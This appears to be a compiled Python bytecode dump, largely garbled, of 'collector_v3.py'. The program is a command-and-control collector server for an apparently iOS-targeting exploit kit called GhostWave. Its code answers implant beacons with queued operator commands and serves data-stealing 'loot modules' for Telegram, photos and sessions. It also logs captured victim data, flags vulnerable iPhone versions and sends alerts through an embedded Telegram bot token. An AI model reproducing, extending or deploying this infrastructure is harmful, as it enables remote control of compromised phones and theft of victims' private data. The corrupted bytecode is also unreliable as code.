j6U^dZddlZddlZddlZddlZddlZddlZddlZ ddl Z ddl Z ddl Z ddl Z ejejeZejedZejedZejedZeeefD]Zejede jZeZdZejed Zej d d Z!d Z"d Z#dZ$dZ%dZ&dZ'dZ(dZ)dZ*ejeddZ+dZ,dZ-dZ.ej ddZ/dZ0Gddej1j2Z3e4dkre5ej6dkre7ej6dnd Z8dej9_:dej9_;ej9d!e8fe35Z<e=d"ee8fze<>ddddS#1swxYwYdSdS)#ucollector_v3.py — unified kit collector with GhostWave C2 protocol on top of v2. Adds to v2 collector: POST /beacon (and /ios18/beacon) -> implant heartbeat; RESPONDS with next queued command (JSON {type: ..., params: ...}) or {"type":"noop"} POST /api/payload/get (any prefix) -> serves loot modules (telegram_v1.js, photos_upload_v1.js, session_*.js...) from modules/ POST /api/task/status etc -> generic sink (captures) GET /c2?q= -> operator command queue inject (auth: ?key=) Everything else behaves like v2: /stats (HTML/JSON, key-protected), /log.html, /collect/*, /p /war /result /upload /a /u /nb /event -> captures. Ncollector_logscapturesmodulesT)exist_ok@z c2_queue.json STATS_KEYct5t|d5}||dddn #1swxYwYddddS#1swxYwYdS)Nab)LOCKopenwrite)pathdatafhs "/var/www/handmadgifts/collector.pylogrs  $    HHTNNN               s.A; A? A? AAAc  tj|tdzdzkrHtj||dzt t tjzdSdS#t$rYdSwxYw)Ni.) osrgetsize MAX_LOG_MBreplacestrinttimeOSError)rs rrotr#s 7??4 :#4t#; ; ; JtTCZ#c$)++.>.>*?*?? @ @ @ @ @ < ;      sA4A:: BBcvt5 tjtt}n #t $rddicYcdddSwxYw|sddicdddS|d}tj|ttd|cdddS#1swxYwYdS)z.return next pending command for implant beacontypenoopNrw)r jsonloadr QUEUE Exceptionpopdump)qcmds r queue_popr+*sA   $ $u++&&AA $ $ $F# # #         $ $F#        eeAhh !T%%%&&&                  s6B.&1B.AB. AB.#>B..B25B2cTt5 tjtt}n#t $rg}YnwxYw||tj|ttddt|cdddS#1swxYwYdS)Nr")indent) r r#r$r r%r&appendr(len)r*r)s r queue_pushr17s   $u++&&AA   AAA    !T%%%a00001vvs0B&1B ABAABB!$B!cdidddddtiigiddd} ttjtD]}|dxxdz cc<t tjt|d5}|d}dddn #1swxYwYd|ddvr6| dddd  d nd}|r||d <|pd dd }| dd}d|vsd|vr|dxxdz cc<tj d|D]}| }|dxxdz cc<|r(|d |ddz|d|<|dvr|dxxdz cc<|dkr|dxxdz cc<|dkr|dxxdz cc<tj d|D]>}| } |d | ddz|d| <?tj d|D]/} |d| 0ddl} tj d|D]} | j| } | rW| dkrQ| j| jp | dd }|d! |ddz|d!|<tj d"|D]n} | j| }|r>|dkr8|d# |dd$ddz|d#|dd$<o|r6d%|vs d&|vsd'|vsd(|vr&|d)||dd d*n#t*$rYnwxYw t-jt tjt0d+|d,<n#t2$rd|d,<YnwxYwt|d|d<|d)d-d|d)<|S).Nr)beaconsrouteserrorsstageok stagefailrlast_tsuids referrerspageseventsper_day c2_beaconsc2_cmds_servedrr-rbi@s--- <latin1r8r utf-8ignorez"status": "idle"z "device_info"r>stag=([a-z0-9_]+)r3r=)errjserrjsrejr7r5r6r7s\b(coruna|ds|psword|none)\br4suid=([A-Za-z0-9_]+)r9sref=([A-Za-z0-9_.~%\-]+)-(r:shref=([A-Za-z0-9_.~%\-]+)r;xf18zroute=z tag=routeztag=f18r<)tsfileznginx_stats.jsontraffici)setsortedrlistdirCAPDr rjoinreadsplitdecoderefindallgetadd urllib.parseparseunquoteurlparsenetlocr/rr#r$LOGDr&)statsfnrblobtdaytxttagrtruurllibmrefhostpgs rsummaryrrBs\R1QRtSUUrRB 3 3E$ D))**! C! CB *    "   bgll4,,d33 &rwwu~~ & & & & & & & & & & & & & & &@G4PSQSPS9@T@T 7##A&ss+228<<'9'9'9j!@$GG T TIIKKeHo6I6I!Q6O6ORS6Sx!3!3Z 7>> . .f !!!((**----    Z .escxsyyQ   u
%dХитов (nginx)
%dУникальных IP
parsed_total unique_ipsc3K|]@\}}d||dd|ddfzVAdSz*%s%d%dhitsruniqueNr[.0kvrys r z!render_traffic..~s{HH!QCcc!ffaeeTZ\]N^N^`a`e`efnpq`r`rEssHHHHHHrzfunnelu

Воронка (nginx, уникальные IP)

%s
стадияхитыуники
c3K|]@\}}d||dd|ddfzVAdSr~rrs rrz!render_traffic..s{UU!QCcc!ffaeeTZ\]N^N^`a`e`efnpq`r`rEssUUUUUUrzdevicesc<|ddd S)Nr-rrrkvs rz render_traffic..sA619M9M8Mrzkeyu

Устройства (реальные версии Version/x.y)

%s
устройствохитыуники
stage_histmsgsc3>K|]\}}d||fzVdSz%s%dNrs rrz!render_traffic..s9}}41a8CCFFA;F}}}}}}rzc|d SNr-rrs rrz render_traffic..svxyzv{u{rzuP

Сообщения стадий (история nginx)

%s
)entrybeaconbranchloaderworkerstageresultfunnel_by_devicec<|ddd S)Nr-rrrrs rrz render_traffic..s"Q%))Ha:P:P8Qrzc3 K|]}|vV dSrur)rrwdevs rrz!render_traffic..s'8818888888rz)iPhoneiPadc3JK|]}d|dzVdS)z %drNr)rsstgss rrz!render_traffic..s4EEmdhhq!nn4EEEEEErzzzc3 K|] }d|zV dS)z %sNr)rrs rrz!render_traffic..s'88Ama'888888rzuu

Воронка по устройствам (уникальные IP)

z
устройство
u4

Трафик (агрегатор nginx)

)htmlr[rUrRitemsanyr/)trcardsfn_rowsfn_tbldv_rowsdv_tblshsh_tblrowsSTAGESfbdtdsfbd_tblhdrrxrryrs @@@@rrender_trafficrtsC r!!!!!&&33RVVL!5L5LM NEggHHHH"(")=)=)C)C)E)E"F"FHHHHHGdgnoFggUUUU"( 2)>)>)D)D)F)F-M-M#O#O#OORPRs#TUUUUUGlovwF  b ! ! % %fb 1 1B F kww}}}}SYZ\ZbZbZdZdj{j{S|S|S|}}}}}cfjj Q Q QF &&# $ $ *C DCIIKK-Q-QRRR@@ T8888%788888  ggEEEEfEEEEE C###>????G ggg8888888SVSVSVXZX_X_`dXeXeXeXeg AE IF RU\ \_e ehn nnrzcLd}ddt|dD} t}ddfdt |ddD}n#t $rd}YnwxYwd|pd z}dd t|d D}d |d |ddt|d|d||dd||dd|||ddt|dDtj df zS)Ncddt|dddD}d|d|pdd S) Nr c3*K|]\}}d||fzVdSrrrrrs rrz+render_html..tbl..sKPP1a9Aq6APPPPPPrzc|d Srr)rws rrz*render_html..tbl..s AaD5rzrz

uA

/z
источникхитов
пока пусто
)rUrRr)dnamers rtblzrender_html..tbls}wwPP#)!''))#I#I#I#2##NPPPPP44R!RRRT Urzr c3*K|]\}}d||fzVdSrrrs rrzrender_html..s0hh$!Q41v=hhhhhhrzr=cd|vrdSd|vrdSdS)Nуязвима#2e7d32частично#f9a825z#9aa4b2r)rs r_dcolorzrender_html.._dcolors%4'' !T))))9rzc3TK|]"\}}d||||fzV#dS)zQ%s%dNr)rrrrs rrzrender_html..svvUYUVXYnryryz{r|r|~BIBIJKBLBLNOrPPvvvvvvrzru

📱 Устройства (источник хитов)

● уязвима (Coruna 15–17 / GhostWave 18.x) · ● частично · ● пропатчено
%s
устройствохитов
rc3*K|]\}}d||fzVdSrrrs rrzrender_html..s0iiDAq6!Q?iiiiiirzr4uStats

handmadgifts — статистика

Всего событий
%d
C2 beacons
%d
Уникальных uid
%d
Капчеров
%d
%s%s

Маршруты (кто какой кит получил)

%s
веткахитов

По дням

%s
деньхитов
%s

Последние события

%s
времяфайл

обновлено %s · JSON: &format=json

r3r>rr9rr:u8С каких сайтов приходили (referrer)r;u"Страницы входа (href)c3@K|]}d|dd|ddVdS)rrNz rOz Nr)res rrzrender_html..s9iiQQQtWWWaiiiHiiiiiirzr<%F %T) rUrRr parse_deviceslistr&r[r0reversedrstrftime)strdays_devsdev_rowsdev_cardr4rs @r render_htmlrs)UUU 77hh&QST]Q^QdQdQfQfJgJghhh h hD   77vvvv]abgbmbmbobo]p]pqtrtqt]uvvvvv c PP RHWWiiFSUV^S_SeSeSgSgLhLhiii i iF #4 9 rvvlA..BvJJ B{OWXX BwK=>>h iiRZ[]^f[gRhRhiiiii g ' 3  s AB$$ B32B3z.8856442544:AAEtCAciPv25ALrUz1fwfEPkFw8E6Gd-v2Uz-1004438038304z tr_map.jsoncrtjttS#t$ricYSwxYwru)r#r$r TRMAPr&rrzr_tr_loadrs3 $u++&& & Riiis %' 66cxtj|ttddS#t$rYdSwxYw)Nr")r#r(r rr&)rs r_tr_savers= 1d5#&& ' ' ' ' ' ddds (+ 99c ddlm}tjt |d}||dtzdz|ddS#t$rYdSwxYw)Nr)chat_idtextzhttps://api.telegram.org/botz /sendMessage)r)timeout) urllib.requestrequestrmr^ urlencodeTG_CHATencodeurlopenRequestTG_TOKENr&)msgurrs rsend_tgrs######|%%'3&G&GHHOOQQ 2::.classifys B;;49QJJ00O S B;;.. B;;qyyUaZZEQJJ@[@[44 B;;(C(CzzE>>*E*EA::&C&C88 = B;;~~&C&C44 B;;@@}rzc3"KttdzD]`} |dr |ddD]}|Vnt |dD]}|VQ#t $rY]wxYwdS)N*z.gzrjr)r5)rRglobrendswithr r&)fpln_glob_gzips r_lineszparse_devices.._linessIO4455 # #B #;;u%%C#jjT)jDDNNBhhhhN"2i888BB(((( " " "dd "  # #sA A?? B  B z "([^"]*)"\s*$r-rrrrr z (iOS  )AndroidWindows MacintoshzMac OS XMacOther) collectionsrrgziprYcompilesearchstripgrouprdict most_common)rcntios_rever_rerr linernuaimrrrverrricolorr r s @@rrrs$#####'''''''' '))C ZJ K KFZ? @ @F,######   I& 5 5 &QWWQZZZ$ ]]2   3&--"3"3 8r>>Vr\\rxx{{++S!-=-=5E(* :C $$$E$$U$$rxx{{(J E KC"bLL&&hC!%66JC 3<>:::  rzcX|d|dS)N)r>r3)r-s r do_OPTIONSz H.do_OPTIONS5s- 3!1!1!3!3!3!3!3rzc|jdd}tjtj|jj}|dvrtjdtj |jzdz}ttj tdttj td||d|dS|dkrt%}|d d gdd kr||dSt+|t-|d z}|d |dd|dt1t3|||j|dS|dkr[|d |dd||jddS|dkrt8r@|ddgdt8kr|ddiddSd|vrs t;j|dd}n(#t>$r|ddiYdSwxYwtA|}|||ddS t;j!tEtF}n#t>$rg}YnwxYw|d|idStI%S)N?r)z /log.htmlz/logz/f18z%F %T r5z stage.logrEz/statsformatrr#rPr8r;ztext/html; charset=utf-8r<z/health2okz/c2rr errorauthir)zbad json)queuedr*queue)&rrWrmr^parse_qsr`queryrrr_rrrUrbrrr>r3rrr[rCrrr2rr0r?rrr#loadsr&r1r$r r%r*do_GET) r-pr)r!rrBr*nqdr0s rrSzH.do_GET7sz IOOC  # L ! !&,"7"7 "B"B"H I I - - -=**V\-A-A$)-L-LLtSD  T;// 0 0 0  T;// ? ? ?   s # # #T%5%5%7%7%7 ==BuuXx((+v55 2OOnRVVI5F5F&G&GGOOQQD   s # # #   ^-G H H H   -s3t99~~ > > >       0 0 6 6 6 >>   s # # #T%5%56F%L%L%L       0 0 7 7 7 :: ;QUU52$//2i?? GV,c222FFaxx>*QsVAY//CC >>>JJ4555vvv>sOO a44555vv YtE{{++     JJ} % % %vvww~~s$ L;;!M M  &N44 OOc rt|jdpd}|r|j|nd}|jdpd}d|vr%t j|}n#t$rYnwxYwtj |j j }| dr |ddn|}| d sd |z}|d vr tj|d d pd }n#t"$ri}YnwxYwt%|dddd} tj tj |j j}|ddgdpddd} |jdpddd} |rVt-} || vrD| | t/jdd| |<t3| t5d| pdd| d|n#t"$rYnwxYwt7} t9j|dd} dtt/j|pd| fz}t>5tAtBj "tF|tItBj "tF|d5}|%dt/jd&|j &fz|%|dddn #1swxYwYdddn #1swxYwY|'| dS|(ds|d kr tj|d d pd }n#t"$ri}YnwxYwtBj )t%|d!|d"d}tUj+d#d|}|r%tBj "tX|nd}|rtBj -|rtI|d d$%}|'|.d&d|id't_tBj "t`d(d)t/jd|tc|fz&n|'d*|d+d,dSt9j|dd} tBj )|pd-}d.tt/j|| fz}t>5tAtBj "tF|tItBj "tF|d5}|%dt/jd&|j &fz|%|dddn #1swxYwYdddn #1swxYwY|2d/|3dd0|4|j5%d1dS)2Nr<rrzzContent-Encodingr rz/ios18/r/)z/beaconrErFz{}uuidrKrrHost:r)rrpfirstu🚨 LID | траффер: rHu | домен: z | uid: z%d_beacon_%s_%sanonr s--- %s %s --- z /payload/getz/api/payload/getrmodulez[^A-Za-z0-9_.-]surrogateescape)encodingr5z.js) module_idsrctaskz modules.logz%s served %s %dB zno such module)rLrirootz%d_%s_%sr8rJrK)6rheadersr[rfilerVlowerr decompressrrmr^r`r startswithr#rRrXr&rrPrQrWrrrrrr+hashlibsha1 hexdigestr rrrUrTr rrrCrbasenamerYsubMODDisfilerrrbr0r>r2r3r?)r-rUrBencrTreljuidqsrrptmr*hfnamerrr rcs rdo_POSTz H.do_POST\s    !1227a 8 8%&/tzq!!!C| 2339r@@BB S==-- DD L ! !$) , , 1||I..5aeeA~~c"" )C ,   Jt{{7H==EFF    aeeFB''(("-C \**6<+@+@+K+K+QRRffTB4((+1r2A26 ((006B==cBB1Eu!B"}})+TDMRYDZDZ"["[3  ^`^gdg^g^gimimimoror sttt    ++C T"",,..ss3A%TY[[)9)93=&!(LLE # #BGLLu--..."',,tU33T::#bHH/4=3I3I3P3P3R3RTXT]TdTdTfTf2gghhhHHTNNN############### # # # # # # # # # # # # # # # JJsOOOVV << ' ' 32D+D+D Jt{{7H==EFF    7##CfaeeHb6I6I(J(J$K$KLLD6,b$77D-19dD)))rB KbgnnR(( K28IJJJOOQQ eR)@)@VXYYZZZBGLL}55)T]7-C-CT3s88,TT\\^^```` %5tDDcJJJ F L   ( ( * *3B3 /w"",fc$)++..a88     T5)) * * *bgll4//66 "+t}W/E/E/L/L/N/NPTPYP`P`PbPb.ccddd                               3!1!12BC!H!H!H DJ,,U33333s:B BB *D44 EE2C:I-- I:9I:(A&OA+O9 OO O O OO #O *Q QQA&]A+\<0 ]<] ]] ]]])r8) __name__ __module__ __qualname__r+r3r7rCrFrSrz __classcell__)r0s@rr'r'#s33333 hhh444$ $ $ $ $ JD4D4D4D4D4D4D4rzr'__main__r-i"z0.0.0.0z,collector v3 (c2 protocol) serving %s on :%d)?__doc__ http.serverhttp socketserverrsysr#rr]rmrYrkr threadingrdirnameabspath__file__r,rUrbrTrprmakedirsLockr rQSEENrr%environr[rrrr+r1rrrrrrrrrrrrserverSimpleHTTPRequestHandlerr'r{r0argvrportThreadingTCPServerallow_reuse_addressdaemon_threadsrprint serve_foreverrrzrrs  baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa wrwx0011 w||D*++ w||D*%% w||D)$$ d ""ABKD!!!!!y~ suu    T?++ JNN; + +        000d%o%o%oP7 7 7 t <   T+];;    JNN;(P Q Q 9#9#9#v}4}4}4}4}4 ,}4}4}4~ z"s38}}q0033sx{   dD:>L#759L#2 ( ()T):A > >`! <d|KLLLaooN_N_N_`````````````````` s.%H  H$'H$